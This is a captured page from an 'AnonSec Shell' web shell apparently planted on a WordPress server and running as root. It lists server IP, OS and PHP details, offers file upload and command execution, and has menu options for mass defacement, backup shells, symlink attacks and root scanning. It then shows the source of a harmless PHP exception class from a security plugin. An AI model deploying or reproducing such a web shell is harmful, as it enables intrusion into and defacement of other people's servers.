AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 52.15.86.164   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/defender-security/lib/packages/Invoker/Exception/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/defender-security/lib/packages/Invoker/Exception/NotCallableException.php
<?php declare(strict_types=1);

namespace WPMU_DEV\Defender\Vendor\Invoker\Exception;

/**
 * The given callable is not actually callable.
 */
class NotCallableException extends InvocationException
{
    /**
     * @param mixed $value
     */
    public static function fromInvalidCallable($value, bool $containerEntry = false): self
    {
        if (is_object($value)) {
            $message = sprintf('Instance of %s is not a callable', get_class($value));
        } elseif (is_array($value) && isset($value[0], $value[1])) {
            $class = is_object($value[0]) ? get_class($value[0]) : $value[0];

            $extra = method_exists($class, '__call') || method_exists($class, '__callStatic')
                ? ' A __call() or __callStatic() method exists but magic methods are not supported.'
                : '';

            $message = sprintf('%s::%s() is not a callable.%s', $class, $value[1], $extra);
        } elseif ($containerEntry) {
            $message = var_export($value, true) . ' is neither a callable nor a valid container entry';
        } else {
            $message = var_export($value, true) . ' is not a callable';
        }

        return new self($message);
    }
}

Anon7 - 2022
AnonSec Team